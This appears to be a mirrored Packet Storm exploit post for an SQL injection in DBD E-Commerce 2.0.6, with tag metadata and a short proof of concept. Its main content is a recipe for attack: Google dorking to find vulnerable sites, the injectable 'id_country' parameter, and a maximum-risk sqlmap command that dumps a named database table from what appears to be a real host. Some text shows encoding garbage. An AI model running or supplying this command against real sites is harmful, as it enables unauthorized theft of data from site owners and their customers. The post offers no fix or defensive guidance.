Lucene search
IndoushkaPACKETSTORM:173805HistoryJul 31, 2023 - 12:00 a.m.
DBD E-Commerce 2.0.6 SQL Injection
2023-07-3100:00:00
indoushka
packetstormsecurity.com
98
sql injection
e-commerce
vulnerability
windows 10
mozilla firefox
sqlmap
dorking
google
payload
vendor
thailand
exploit
`====================================================================================================================================
| # Title : DBD E-Commerce 2.0.6 SQL injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Franรงais V.(Pro) / browser : Mozilla firefox 115.0.2(64-bit) |
| # Vendor : https://dbd.go.th/index.php |
====================================================================================================================================
poc :
[+] Dorking ฤฐn Google Or Other Search Enggine.
[+] use payload : /wifi-service.php?id_country=2 <===== inject here
[+] D:\sqlmap>sqlmap.py -u https://iwifijp/wifi-service.php?id_country=2 --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dump -D iwifijp_rent -T tb_manage
Greetings to :=================================================================
jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |
===============================================================================
`